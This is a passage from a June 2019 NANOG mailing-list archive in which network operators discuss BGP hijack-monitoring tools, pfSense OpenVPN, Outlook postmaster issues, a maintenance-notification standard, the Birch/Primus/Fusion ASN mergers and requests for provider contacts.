Vasileios Kotronis wrote: > Hello, > > in case you would like to check out open-source projects > > you could try our community tool ARTEMIS > https://github.com/FORTH-ICS-INSPIRE/artemis > > which uses RIS live and Routeviews feeds (as well as optionally local > network feeds) > > to detect hijacks of different types (e.g., sub-prefix, fake > origin/neighbor, etc.) in real-time. > > Best, > > Vasileios > > On 16/6/19 4:55 π.μ., TJ Trout wrote: > > Any simple and easy bgpmon alternatives you guys could recommend? > > > > > -- > ======================================= > Vasileios Kotronis > Postdoctoral Researcher, member of the INSPIRE Group > INSPIRE = INternet Security, Privacy, and Intelligence REsearch > Telecommunications and Networks Lab (TNL) > Foundation for Research and Technology - Hellas (FORTH) > Leoforos Plastira 100, Heraklion 70013, Greece > e-mail : vkotronis at ics.forth.gr > url: http://inspire.edu.gr > ======================================= > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From stephen at cotton.email Fri Jun 14 20:18:47 2019 From: stephen at cotton.email (Stephen Cotton) Date: Fri, 14 Jun 2019 14:18:47 -0600 Subject: SSL VPN In-Reply-To: References: Message-ID: If you are authenticating off radius the profile the profile then only contains the ta.key preauth key, as well as the server certs and settings. So multiple people (or:and office) can use a single profile with their unique credentials. I believe this may be succeptable to having the password cached in memory though as it will auto reconnect on failure. The default on the server setups also only allow a single active connection per user. There is a checkbox (in the pfsense server config page) to override this. It’s important to be congnizant of because there’s nothing stopping someone from using the same profile and radius creds on two devices (say a phone and computer) and the behavior they will see if just constant disconnects and reconnects. On Fri, Jun 14, 2019 at 11:55 AM Jasper Backer wrote: > Just wondering, is the client export actually tied to the logged in user, > or can every user download all other VPN profiles (which hopefully are of > little use as credentials are likely unknown)? It used to be that way, > would be nice if it is tied to just the logged in user. > > Cheers, > > Jasper > On 13-06-19 20:06, Matt Harris wrote: > > On Thu, Jun 13, 2019 at 12:59 PM Mark Tinka wrote: > >> >> OpenVPN in pfSense? >> >> We run tons of these around the world. >> >> Mark. >> >> > With the client config generator package, "openvpn-client-export", > installed, this is imho the best option for an end-user VPN. pfSense has a > much nicer UI than OpenVPN AS, and that UI also supports other things you > might need (like routing protocols via bird or quagga, managing the > firewall, etc) as well. I can't see any reason to pay money for OpenVPN AS > when you compare it to what you get for free with pfSense. The NetGate > pfSense appliances are quite nicely spec'd, too, if you just have cash > burning a hole in your pocket. It also easily ties in OpenVPN > authentication to RADIUS or LDAP, and getting it working with Active > Directory on the backend is trivially simple. > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at as397444.net Sun Jun 16 02:25:04 2019 From: nanog at as397444.net (Matt Corallo) Date: Sun, 16 Jun 2019 02:25:04 +0000 Subject: Postmaster@ In-Reply-To: <20190614184429.3ca12e83@rellim.com> References: <20190614184429.3ca12e83@rellim.com> Message-ID: <0b36b771-9774-8e6b-1cc6-122eae3270b2@bluematt.me> I presume you were contacting them due to their (apparently) bogus SPF parsing? Seems they recently broke something and email servers I've been sending from for 10 years without much configuration change recently started getting generic SPF-looking failure messages (I guess they don't properly parse "+MX -ALL"?). Given the automated form linked at that page also returns garbage about how my IPs look fine and aren't blacklisted and there is no reason why mail shouldn't deliver (why bother having a box to put the error message?), can someone over there contact off-list? Matt On 6/15/19 1:44 AM, Gary E. Miller wrote: > Yo All! > > Is it no longer required to monitor the postmaster@ ? > > Did RFC 822 and RFC 5321 get repealed? Or is M$ more special than the > rest of us? > > RGDS > GARY > --------------------------------------------------------------------------- > Gary E. Miller Rellim 109 NW Wilmington Ave., Suite E, Bend, OR 97703 > gem at rellim.com Tel:+1 541 382 8588 > > Veritas liberabit vos. -- Quid est veritas? > "If you can’t measure it, you can’t improve it." - Lord Kelvin > > > Begin forwarded message: > > Date: Sat, 15 Jun 2019 01:38:16 +0000 > From: The Outlook.com Team > To: > Subject: Fw: gem : rellim541 > > > This email address is not monitored. Please visit > http://postmaster.outlook.com for information about sending email to > Outlook.com, including troubleshooting information. If you are an > Outlook.com user please visit http://answers.microsoft.com/ to learn > more about our services, find answers to your questions, and share your > feedback. > > Sincerely, > > Outlook.com Team > Microsoft > One Microsoft Way. Redmond, WA 98052, USA. > > > > Microsoft respects your privacy. To learn more, please read our online > Privacy Statement at http://privacy.microsoft.com > From nanog at as397444.net Sun Jun 16 14:26:38 2019 From: nanog at as397444.net (Matt Corallo) Date: Sun, 16 Jun 2019 10:26:38 -0400 Subject: Bgpmon alternatives? In-Reply-To: References: <3b092fdc-7d40-e0e2-9e8c-a8d6d2a361c0@he.net> <20190616094827.GA34940@meow.BKantor.net> <6429449a-e076-b4db-62f0-1eb5fc43454f@he.net> <20190616112050.GA35876@meow.BKantor.net> Message-ID: <67F895A2-1F69-4442-AA0D-7BF415FBA893@as397444.net> There's also https://github.com/NLNOG/bgpalerter (which I believe they're trying to turn into a website frontend based on RIS, but I run it with patches for as_path regexes and it works pretty well). > On Jun 16, 2019, at 07:40, Michael Hallgren wrote: > > RIS Live API is a choice for this. > > mh >> Le 16 juin 2019, à 13:21, Brian Kantor a écrit: >> That would be wonderful. Thank you! >> - Brian >> >> >>> On Sun, Jun 16, 2019 at 03:59:29AM -0700, Mike Leber wrote: >>> I'm sure if it doesn't do exactly that already, we can add it shortly. >>> >>> Some of planned functionality for hijack detection is already live. >>> That's one of the main reasons for creating this service. >>> >>> Mike. >>> >>>> On 6/16/19 2:48 AM, Brian Kantor wrote: >>>>> On Sun, Jun 16, 2019 at 02:25:40AM -0700, Mike Leber wrote: >>>>> As a beta service you can try out rt-bgp.he.net. This is a real time >>>>> bgp monitoring service we are developing. >>>> It's interesting, but I don't see any way to do what I primarily >>>> use the existing BGPMon for: watch for hijacks. >>>> >>>> That is, set up one or more prefixes to be continuously monitored >>>> and have the monitor send me an email alert when that prefix or a >>>> subnet of it begins to be announced by someone new. >>>> >>>> For example, if I have told it to monitor 44.0.0.0/8 and someone >>>> somewhere begins announcing it, or perhaps 44.1.0.0/16, I'd very >>>> much like to know about that, along with details of who and where. >>>> >>>> Then if that announcement is authorized, I can tell the monitoring >>>> service that this new entry is NOT a hijack, and it won't bug me >>>> about it again. >>>> >>>> Can it be persuaded to do this? >>>> - Brian -------------- next part -------------- An HTML attachment was scrubbed... URL: From morrowc.lists at gmail.com Mon Jun 17 01:42:21 2019 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Sun, 16 Jun 2019 18:42:21 -0700 Subject: someone is using my AS number In-Reply-To: <20190614001743.GA97027@gweep.net> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> <20190614001743.GA97027@gweep.net> Message-ID: On Thu, Jun 13, 2019 at 5:18 PM Joe Provo wrote: > The last "major" provider who failed to provide BGP community-based > TE was 3549, and with their absorbtion into 3356 no one should have > any tolerance for this garbage, IMNSHO. as near as I can tell, you can't get per-neighbor or other TE options on he.net, for instance, so not all folk support this :( (reference: https://onestep.net/communities/ has no he.net details. Checking for 6939 details on their site also came up blank for me) From adampf at gmail.com Mon Jun 17 13:14:22 2019 From: adampf at gmail.com (Andrew Dampf) Date: Mon, 17 Jun 2019 09:14:22 -0400 Subject: provider email maintenance standard Message-ID: Hello nanog, I've heard second-hand there is an existing standard for provider maintenance emails that should be followed in the form of a calendar attachment, but I can't seem to find any information on it. Can anyone help me with the following: 1. Does this standard exist? If so, is there somewhere I can read more about it? 2. How many providers follow this standard? Thanks! -------------- next part -------------- An HTML attachment was scrubbed... URL: From martin+nanog at rodecker.nl Mon Jun 17 13:25:14 2019 From: martin+nanog at rodecker.nl (Martin Pels) Date: Mon, 17 Jun 2019 15:25:14 +0200 Subject: provider email maintenance standard In-Reply-To: References: Message-ID: <75806ded-41aa-182b-d487-59b74b24059e@rodecker.nl> https://www.facebook.com/groups/maintnote/ On 17/06/19 15:14, Andrew Dampf wrote: > Hello nanog, > > I've heard second-hand there is an existing standard for provider > maintenance emails that should be followed in the form of a calendar > attachment, but I can't seem to find any information on it. Can anyone > help me with the following: > > 1. Does this standard exist? If so, is there somewhere I can read more > about it? > 2. How many providers follow this standard? > > Thanks! > From matt at netfire.net Mon Jun 17 13:31:37 2019 From: matt at netfire.net (Matt Harris) Date: Mon, 17 Jun 2019 08:31:37 -0500 Subject: provider email maintenance standard In-Reply-To: <75806ded-41aa-182b-d487-59b74b24059e@rodecker.nl> References: <75806ded-41aa-182b-d487-59b74b24059e@rodecker.nl> Message-ID: On Mon, Jun 17, 2019 at 8:27 AM Martin Pels wrote: > https://www.facebook.com/groups/maintnote/ > You may want to explain what you're linking to, since that url points to context which is locked to those of us who are not authorized to view it. It's very helpful when dropping a link to provide some context, and especially if the link points to content which is locked behind an authentication page. -------------- next part -------------- An HTML attachment was scrubbed... URL: From job at ntt.net Mon Jun 17 13:36:43 2019 From: job at ntt.net (Job Snijders) Date: Mon, 17 Jun 2019 15:36:43 +0200 Subject: provider email maintenance standard In-Reply-To: References: <75806ded-41aa-182b-d487-59b74b24059e@rodecker.nl> Message-ID: Dear Matt, See this URL instead: https://github.com/jda/maintnote-std/blob/master/standard.md NTT / AS 2914’s NOC follows this process to keep customers and partners informed about maintenances. Kind regards, Job On Mon, Jun 17, 2019 at 15:32 Matt Harris wrote: > On Mon, Jun 17, 2019 at 8:27 AM Martin Pels > wrote: > >> https://www.facebook.com/groups/maintnote/ >> > > You may want to explain what you're linking to, since that url points to > context which is locked to those of us who are not authorized to view it. > It's very helpful when dropping a link to provide some context, and > especially if the link points to content which is locked behind an > authentication page. > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From douglasroyer at gmail.com Mon Jun 17 15:53:36 2019 From: douglasroyer at gmail.com (Doug Royer) Date: Mon, 17 Jun 2019 09:53:36 -0600 Subject: provider email maintenance standard In-Reply-To: <75806ded-41aa-182b-d487-59b74b24059e@rodecker.nl> References: <75806ded-41aa-182b-d487-59b74b24059e@rodecker.nl> Message-ID: <18abe05b-d119-e5eb-4f24-d61eb2160805@gmail.com> Why not submit this as a draft to the IETF and make it an official extension? On 6/17/19 7:25 AM, Martin Pels wrote: > https://www.facebook.com/groups/maintnote/ > > On 17/06/19 15:14, Andrew Dampf wrote: >> Hello nanog, >> >> I've heard second-hand there is an existing standard for provider >> maintenance emails that should be followed in the form of a calendar >> attachment, but I can't seem to find any information on it. Can anyone >> help me with the following: >> >> 1. Does this standard exist? If so, is there somewhere I can read more >> about it? >> 2. How many providers follow this standard? >> >> Thanks! >> -- Doug Royer - (http://DougRoyer.US) Douglas.Royer at gmail.com 714-989-6135 -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4005 bytes Desc: S/MIME Cryptographic Signature URL: From sfisher at cymru.com Mon Jun 17 16:42:07 2019 From: sfisher at cymru.com (Scott Fisher) Date: Mon, 17 Jun 2019 12:42:07 -0400 Subject: Target stores down In-Reply-To: <002001d523d4$f6981aa0$e3c84fe0$@iname.com> References: <002001d523d4$f6981aa0$e3c84fe0$@iname.com> Message-ID: <9d92d175-f886-e3e0-2612-c4d61671e8f5@cymru.com> Check the date on this: https://amp.usatoday.com/amp/10563581?__twitter_impression=true Could it be they had an expired cert? Thanks, Scott Fisher On 6/15/19 7:49 PM, frnkblk at iname.com wrote: > According to the news, sales associates can complete transactions using > their (very small) handheld units. > > Frank > > -----Original Message----- > From: NANOG On Behalf Of Jared Mauch > Sent: Saturday, June 15, 2019 4:27 PM > To: Andy Ringsmuth > Cc: NANOG > Subject: Re: Target stores down > > I know what I was told and what I observed in store. > > They said network issue but it looked more like application/database issue. > > When they would Scan an item it would not stay scanned. It would delete > itself and provide an error (likely when it was recording the inventory > debit) > > They would then manually enter the price and if it was taxable or not. > > It impacted all their POS terminals. Sometimes it would scan and sometimes > not. > > There is a mini story here about workflow and software improvement for this > exception path handling. Either way. Looked more like database and other > software issue than actual network issue. > > Expect inventory to be messed up for a few weeks as a result. > > Sent from my iCar > >> On Jun 15, 2019, at 4:04 PM, Andy Ringsmuth wrote: >> >> Curious if anyone knows what happened (or is still happening) with the > global outage of POS systems at Target stores. >> >> ---- >> Andy Ringsmuth >> 5609 Harding Drive >> Lincoln, NE 68521-5831 >> (402) 304-0083 >> andy at andyring.com > > From eric.kuhnke at gmail.com Tue Jun 18 05:34:47 2019 From: eric.kuhnke at gmail.com (Eric Kuhnke) Date: Mon, 17 Jun 2019 22:34:47 -0700 Subject: Birch/Primus/Fusion Network ASN integration? Message-ID: Hey all, I'm looking for any info that might be publicly available regarding intentions to merge the Primus ASN into Birch/Fusion Network, or whether it will remain its own thing. Primus acquired by Birch: https://primus.ca/index.php/bc_en/news-and-events/primus-news-birch-completes-purchase-of-primus-telecommunications-assets-in-canada/ Birch acquired by Fusion: https://primus.ca/index.php/yt_en/news-and-events/primus-news-fusion-announces-closing-of-birch-acquisition/ primus: https://www.peeringdb.com/net/2811 fusion: https://www.peeringdb.com/net/4608 -------------- next part -------------- An HTML attachment was scrubbed... URL: From tj at pcguys.us Tue Jun 18 07:41:57 2019 From: tj at pcguys.us (TJ Trout) Date: Tue, 18 Jun 2019 00:41:57 -0700 Subject: Birch/Primus/Fusion Network ASN integration? In-Reply-To: References: Message-ID: wrong fusion on peering db On Mon, Jun 17, 2019 at 10:35 PM Eric Kuhnke wrote: > Hey all, > > I'm looking for any info that might be publicly available regarding > intentions to merge the Primus ASN into Birch/Fusion Network, or whether it > will remain its own thing. > > Primus acquired by Birch: > https://primus.ca/index.php/bc_en/news-and-events/primus-news-birch-completes-purchase-of-primus-telecommunications-assets-in-canada/ > > Birch acquired by Fusion: > https://primus.ca/index.php/yt_en/news-and-events/primus-news-fusion-announces-closing-of-birch-acquisition/ > > primus: https://www.peeringdb.com/net/2811 > > fusion: https://www.peeringdb.com/net/4608 > -------------- next part -------------- An HTML attachment was scrubbed... URL: From eric.kuhnke at gmail.com Tue Jun 18 08:13:11 2019 From: eric.kuhnke at gmail.com (Eric Kuhnke) Date: Tue, 18 Jun 2019 01:13:11 -0700 Subject: Birch/Primus/Fusion Network ASN integration? In-Reply-To: References: Message-ID: Mea culpa. I'm actually not finding much for Fusion Connect Inc. in terms of normal BGP presence (peeringdb page, an AS that's known to tools like the bgp.he.net tool, etc. https://en.wikipedia.org/wiki/Birch_Communications AS20175 Birch Communications Inc. doesn't appear to be doing much of anything There's also this, which is one of their earlier acquisitions: https://www.peeringdb.com/net/3238 On Tue, Jun 18, 2019 at 12:42 AM TJ Trout wrote: > wrong fusion on peering db > > On Mon, Jun 17, 2019 at 10:35 PM Eric Kuhnke > wrote: > >> Hey all, >> >> I'm looking for any info that might be publicly available regarding >> intentions to merge the Primus ASN into Birch/Fusion Network, or whether it >> will remain its own thing. >> >> Primus acquired by Birch: >> https://primus.ca/index.php/bc_en/news-and-events/primus-news-birch-completes-purchase-of-primus-telecommunications-assets-in-canada/ >> >> Birch acquired by Fusion: >> https://primus.ca/index.php/yt_en/news-and-events/primus-news-fusion-announces-closing-of-birch-acquisition/ >> >> primus: https://www.peeringdb.com/net/2811 >> >> fusion: https://www.peeringdb.com/net/4608 >> > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jayhanke at gmail.com Tue Jun 18 13:40:52 2019 From: jayhanke at gmail.com (Jay Hanke) Date: Tue, 18 Jun 2019 08:40:52 -0500 Subject: provider email maintenance standard In-Reply-To: References: <75806ded-41aa-182b-d487-59b74b24059e@rodecker.nl> Message-ID: > https://github.com/jda/maintnote-std/blob/master/standard.md > > NTT / AS 2914’s NOC follows this process to keep customers and partners informed about maintenances. Is there commercial or open source software that already has this implemented? From ESundberg at nitelusa.com Tue Jun 18 16:35:45 2019 From: ESundberg at nitelusa.com (Erik Sundberg) Date: Tue, 18 Jun 2019 16:35:45 +0000 Subject: provider email maintenance standard In-Reply-To: References: <75806ded-41aa-182b-d487-59b74b24059e@rodecker.nl> Message-ID: Back at NANOG in Chicago 2016 someone was working on a standards for Maintenance notifications with calendar invites attached. Not sure what happened with it. I think this was it. https://archive.nanog.org/meetings/abstract?id=2853 Erik Sundberg Sr. Network Engineer office 773.661.5532 mobile 708.710.7419 noc 866.892.0915 esundberg at nitelusa.com 888.450.2100 350 N Orleans St. #1300N Chicago, IL 60654 nitelusa.com Smarter technology made simple -----Original Message----- From: NANOG On Behalf Of Jay Hanke Sent: Tuesday, June 18, 2019 8:41 AM To: Job Snijders Cc: North American Network Operators' Group Subject: Re: provider email maintenance standard > https://github.com/jda/maintnote-std/blob/master/standard.md > > NTT / AS 2914’s NOC follows this process to keep customers and partners informed about maintenances. Is there commercial or open source software that already has this implemented? ________________________________ CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files or previous e-mail messages attached to it may contain confidential information that is legally privileged. If you are not the intended recipient, or a person responsible for delivering it to the intended recipient, you are hereby notified that any disclosure, copying, distribution or use of any of the information contained in or attached to this transmission is STRICTLY PROHIBITED. If you have received this transmission in error please notify the sender immediately by replying to this e-mail. You must destroy the original transmission and its attachments without reading or saving in any manner. Thank you. From tim at southern-internet.com Tue Jun 18 05:47:22 2019 From: tim at southern-internet.com (Tim Cailloux) Date: Tue, 18 Jun 2019 01:47:22 -0400 Subject: Birch/Primus/Fusion Network ASN integration? In-Reply-To: References: Message-ID: I'm pretty sure that's a different Fusion than described in the press release. On Tue, Jun 18, 2019 at 1:36 AM Eric Kuhnke wrote: > Hey all, > > I'm looking for any info that might be publicly available regarding > intentions to merge the Primus ASN into Birch/Fusion Network, or whether it > will remain its own thing. > > Primus acquired by Birch: > https://primus.ca/index.php/bc_en/news-and-events/primus-news-birch-completes-purchase-of-primus-telecommunications-assets-in-canada/ > > Birch acquired by Fusion: > https://primus.ca/index.php/yt_en/news-and-events/primus-news-fusion-announces-closing-of-birch-acquisition/ > > primus: https://www.peeringdb.com/net/2811 > > fusion: https://www.peeringdb.com/net/4608 > -- Tim Cailloux Southern Internet -- Locally Owned and Operated tim at southern-internet.com (404) 406-9911 -------------- next part -------------- An HTML attachment was scrubbed... URL: From nanog at ics-il.net Tue Jun 18 19:17:57 2019 From: nanog at ics-il.net (Mike Hammett) Date: Tue, 18 Jun 2019 14:17:57 -0500 (CDT) Subject: Birch/Primus/Fusion Network ASN integration? In-Reply-To: References: Message-ID: <289720045.375.1560885474468.JavaMail.mhammett@ThunderFuck> I connect to Globalinx (another Birch acquisition) via AS17184. It looks like they also have AS16526. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Eric Kuhnke" To: "TJ Trout" Cc: "nanog at nanog.org list" Sent: Tuesday, June 18, 2019 3:13:11 AM Subject: Re: Birch/Primus/Fusion Network ASN integration? Mea culpa. I'm actually not finding much for Fusion Connect Inc. in terms of normal BGP presence (peeringdb page, an AS that's known to tools like the bgp.he.net tool, etc. https://en.wikipedia.org/wiki/Birch_Communications AS20175 Birch Communications Inc. doesn't appear to be doing much of anything There's also this, which is one of their earlier acquisitions: https://www.peeringdb.com/net/3238 On Tue, Jun 18, 2019 at 12:42 AM TJ Trout < tj at pcguys.us > wrote: wrong fusion on peering db On Mon, Jun 17, 2019 at 10:35 PM Eric Kuhnke < eric.kuhnke at gmail.com > wrote:
Hey all, I'm looking for any info that might be publicly available regarding intentions to merge the Primus ASN into Birch/Fusion Network, or whether it will remain its own thing. Primus acquired by Birch: https://primus.ca/index.php/bc_en/news-and-events/primus-news-birch-completes-purchase-of-primus-telecommunications-assets-in-canada/ Birch acquired by Fusion: https://primus.ca/index.php/yt_en/news-and-events/primus-news-fusion-announces-closing-of-birch-acquisition/ primus: https://www.peeringdb.com/net/2811 fusion: https://www.peeringdb.com/net/4608
-------------- next part -------------- An HTML attachment was scrubbed... URL: From ESundberg at nitelusa.com Tue Jun 18 21:33:58 2019 From: ESundberg at nitelusa.com (Erik Sundberg) Date: Tue, 18 Jun 2019 21:33:58 +0000 Subject: Birch/Primus/Fusion Network ASN integration? In-Reply-To: <289720045.375.1560885474468.JavaMail.mhammett@ThunderFuck> References: <289720045.375.1560885474468.JavaMail.mhammett@ThunderFuck> Message-ID: The Globalinx network was migrated into the Fusion network earlier this year about 27 Weeks Ago is what my router interface tells me. We ended up running new interconnects with them and changing peering from Globalinx’s ASN to the Fusion Network ASN 11696. The birch ASN 17184 is reachable via AS11696. I am not sure if this was a special setup for us or not. This is for the legacy Globalinx Network AS46191 199.x.84.0/24 and 199.x.85.0/24 if you were connecting to the 5Linx / Globalinx Broadsoft environment. -Erik From: NANOG On Behalf Of Mike Hammett Sent: Tuesday, June 18, 2019 2:18 PM To: Eric Kuhnke Cc: nanog at nanog.org list Subject: Re: Birch/Primus/Fusion Network ASN integration? I connect to Globalinx (another Birch acquisition) via AS17184. It looks like they also have AS16526. ----- Mike Hammett Intelligent Computing Solutions [http://www.ics-il.com/images/fbicon.png][http://www.ics-il.com/images/googleicon.png][http://www.ics-il.com/images/linkedinicon.png][http://www.ics-il.com/images/twittericon.png] Midwest Internet Exchange [http://www.ics-il.com/images/fbicon.png][http://www.ics-il.com/images/linkedinicon.png][http://www.ics-il.com/images/twittericon.png] The Brothers WISP [http://www.ics-il.com/images/fbicon.png][http://www.ics-il.com/images/youtubeicon.png] ________________________________ From: "Eric Kuhnke" > To: "TJ Trout" > Cc: "nanog at nanog.org list" > Sent: Tuesday, June 18, 2019 3:13:11 AM Subject: Re: Birch/Primus/Fusion Network ASN integration? Mea culpa. I'm actually not finding much for Fusion Connect Inc. in terms of normal BGP presence (peeringdb page, an AS that's known to tools like the bgp.he.net tool, etc. https://en.wikipedia.org/wiki/Birch_Communications AS20175 Birch Communications Inc. doesn't appear to be doing much of anything There's also this, which is one of their earlier acquisitions: https://www.peeringdb.com/net/3238 On Tue, Jun 18, 2019 at 12:42 AM TJ Trout > wrote: wrong fusion on peering db On Mon, Jun 17, 2019 at 10:35 PM Eric Kuhnke > wrote: Hey all, I'm looking for any info that might be publicly available regarding intentions to merge the Primus ASN into Birch/Fusion Network, or whether it will remain its own thing. Primus acquired by Birch: https://primus.ca/index.php/bc_en/news-and-events/primus-news-birch-completes-purchase-of-primus-telecommunications-assets-in-canada/ Birch acquired by Fusion: https://primus.ca/index.php/yt_en/news-and-events/primus-news-fusion-announces-closing-of-birch-acquisition/ primus: https://www.peeringdb.com/net/2811 fusion: https://www.peeringdb.com/net/4608 ________________________________ CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files or previous e-mail messages attached to it may contain confidential information that is legally privileged. If you are not the intended recipient, or a person responsible for delivering it to the intended recipient, you are hereby notified that any disclosure, copying, distribution or use of any of the information contained in or attached to this transmission is STRICTLY PROHIBITED. If you have received this transmission in error please notify the sender immediately by replying to this e-mail. You must destroy the original transmission and its attachments without reading or saving in any manner. Thank you. -------------- next part -------------- An HTML attachment was scrubbed... URL: From eric.kuhnke at gmail.com Tue Jun 18 22:22:17 2019 From: eric.kuhnke at gmail.com (Eric Kuhnke) Date: Tue, 18 Jun 2019 15:22:17 -0700 Subject: Birch/Primus/Fusion Network ASN integration? In-Reply-To: References: <289720045.375.1560885474468.JavaMail.mhammett@ThunderFuck> Message-ID: I think what caused initial confusion and my identification of the wrong "Fusion Network" was that AS11696 doesn't appear to have a peeringdb page. In my recent experience with internal documentation for 40+ peers that are equal to or larger than them in size, it's the first AS I've seen without one... https://bgp.he.net/AS11696 On the west coast it appears the Primus AS is still its own separate thing, based on a recent fix to peering and looking at route-views. On Tue, Jun 18, 2019 at 2:34 PM Erik Sundberg wrote: > The Globalinx network was migrated into the Fusion network earlier this > year about 27 Weeks Ago is what my router interface tells me. We ended up > running new interconnects with them and changing peering from Globalinx’s > ASN to the Fusion Network ASN 11696. The birch ASN 17184 is reachable via > AS11696. I am not sure if this was a special setup for us or not. > > > > This is for the legacy Globalinx Network AS46191 199.x.84.0/24 and > 199.x.85.0/24 if you were connecting to the 5Linx / Globalinx Broadsoft > environment. > > > > > > -Erik > > > > > > > > *From:* NANOG *On Behalf Of *Mike Hammett > *Sent:* Tuesday, June 18, 2019 2:18 PM > *To:* Eric Kuhnke > *Cc:* nanog at nanog.org list > *Subject:* Re: Birch/Primus/Fusion Network ASN integration? > > > > I connect to Globalinx (another Birch acquisition) via AS17184. It looks > like they also have AS16526. > > > > ----- > Mike Hammett > Intelligent Computing Solutions > > > > > Midwest Internet Exchange > > > > The Brothers WISP > > > ------------------------------ > > *From: *"Eric Kuhnke" > *To: *"TJ Trout" > *Cc: *"nanog at nanog.org list" > *Sent: *Tuesday, June 18, 2019 3:13:11 AM > *Subject: *Re: Birch/Primus/Fusion Network ASN integration? > > Mea culpa. I'm actually not finding much for Fusion Connect Inc. in terms > of normal BGP presence (peeringdb page, an AS that's known to tools like > the bgp.he.net tool, etc. > > > > https://en.wikipedia.org/wiki/Birch_Communications > > > > AS20175 Birch Communications Inc. doesn't appear to be doing much of > anything > > > > There's also this, which is one of their earlier acquisitions: > https://www.peeringdb.com/net/3238 > > > > > > On Tue, Jun 18, 2019 at 12:42 AM TJ Trout wrote: > > wrong fusion on peering db > > > > On Mon, Jun 17, 2019 at 10:35 PM Eric Kuhnke > wrote: > > Hey all, > > > > I'm looking for any info that might be publicly available regarding > intentions to merge the Primus ASN into Birch/Fusion Network, or whether it > will remain its own thing. > > > > Primus acquired by Birch: > https://primus.ca/index.php/bc_en/news-and-events/primus-news-birch-completes-purchase-of-primus-telecommunications-assets-in-canada/ > > > > Birch acquired by Fusion: > https://primus.ca/index.php/yt_en/news-and-events/primus-news-fusion-announces-closing-of-birch-acquisition/ > > > > primus: https://www.peeringdb.com/net/2811 > > > > fusion: https://www.peeringdb.com/net/4608 > > > > ------------------------------ > > CONFIDENTIALITY NOTICE: This e-mail transmission, and any documents, files > or previous e-mail messages attached to it may contain confidential > information that is legally privileged. If you are not the intended > recipient, or a person responsible for delivering it to the intended > recipient, you are hereby notified that any disclosure, copying, > distribution or use of any of the information contained in or attached to > this transmission is STRICTLY PROHIBITED. If you have received this > transmission in error please notify the sender immediately by replying to > this e-mail. You must destroy the original transmission and its attachments > without reading or saving in any manner. Thank you. > -------------- next part -------------- An HTML attachment was scrubbed... URL: From kushal.r at h4g.co Wed Jun 19 09:23:00 2019 From: kushal.r at h4g.co (Kushal R.) Date: Wed, 19 Jun 2019 14:53:00 +0530 Subject: Conterra Networks Contact Message-ID: Does anyone have a contact for Conterra (https://www.conterra.com/ ) not much luck using their public phone numbers and email addresses? -- -- [image: Host4Geeks] Kushal R Chief Executive | Host4Geeks site: host4geeks.com email: kushal.r at h4g.co skype: kush.raha [image: linkedin] [image: facebook] [image: twitter] [image: instagram] -------------- next part -------------- An HTML attachment was scrubbed... URL: From jason+nanog at lixfeld.ca Wed Jun 19 14:24:39 2019 From: jason+nanog at lixfeld.ca (Jason Lixfeld) Date: Wed, 19 Jun 2019 10:24:39 -0400 Subject: BGP person from Bell Canada/AS577 Message-ID: <28EA0CF3-56FE-4297-B446-138211D40F7A@lixfeld.ca> Hello, I’m looking to make contact with someone at Bell Canada/AS577 who is able to perform BGP prefix filtering facing their on-prem Akamai caches. Normal sales rep and NOC channels are not producing any meaningful results so far. Thanks in advance! From nanog at ics-il.net Wed Jun 19 14:27:26 2019 From: nanog at ics-il.net (Mike Hammett) Date: Wed, 19 Jun 2019 09:27:26 -0500 (CDT) Subject: BGP person from Bell Canada/AS577 In-Reply-To: <28EA0CF3-56FE-4297-B446-138211D40F7A@lixfeld.ca> References: <28EA0CF3-56FE-4297-B446-138211D40F7A@lixfeld.ca> Message-ID: <1053135943.1641.1560954444850.JavaMail.mhammett@ThunderFuck> I'm curious as to why someone would want to do this? My interest is education, not combative. ----- Mike Hammett Intelligent Computing Solutions Midwest Internet Exchange The Brothers WISP ----- Original Message ----- From: "Jason Lixfeld" To: "NANOG" Sent: Wednesday, June 19, 2019 9:24:39 AM Subject: BGP person from Bell Canada/AS577 Hello, I’m looking to make contact with someone at Bell Canada/AS577 who is able to perform BGP prefix filtering facing their on-prem Akamai caches. Normal sales rep and NOC channels are not producing any meaningful results so far. Thanks in advance! -------------- next part -------------- An HTML attachment was scrubbed... URL: From jabley at hopcount.ca Wed Jun 19 15:22:59 2019 From: jabley at hopcount.ca (Joe Abley) Date: Wed, 19 Jun 2019 11:22:59 -0400 Subject: BGP person from Bell Canada/AS577 In-Reply-To: <1053135943.1641.1560954444850.JavaMail.mhammett@ThunderFuck> References: <28EA0CF3-56FE-4297-B446-138211D40F7A@lixfeld.ca> <1053135943.1641.1560954444850.JavaMail.mhammett@ThunderFuck> Message-ID: On 19 Jun 2019, at 10:27, Mike Hammett wrote: > I'm curious as to why someone would want to do this? My interest is education, not combative. In previous lives I have had great success simply talking to people at Akamai about where my customers' traffic was landing, and where would make more sense for it to land. They were always very responsive; the people I used to talk to are no longer there, but I imagine there are replacements, even if you have to hunt a little further than the published noc address. I always took care to describe my problem in terms of clients and content rather than routing policy, which seemed like a better bet than making assumptions about how their content-steering machinery worked. Asking Akamai seems more likely to succeed than asking a third-party network to modify their BGP export policy for a non-customer, especially when the third-party network is large and, I am guessing, highly-automated and policy-rigid. But it would be interesting to me too to find out if I'm wrong. Jason, if you are multi-homed you could always try AS_PATH prepending 18717 to the advertisments you send towards 577 (he said, over his shoulder, running away). Joe -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: Message signed with OpenPGP URL: From niels=nanog at bakker.net Wed Jun 19 15:42:27 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Wed, 19 Jun 2019 17:42:27 +0200 Subject: BGP person from Bell Canada/AS577 In-Reply-To: References: <28EA0CF3-56FE-4297-B446-138211D40F7A@lixfeld.ca> <1053135943.1641.1560954444850.JavaMail.mhammett@ThunderFuck> 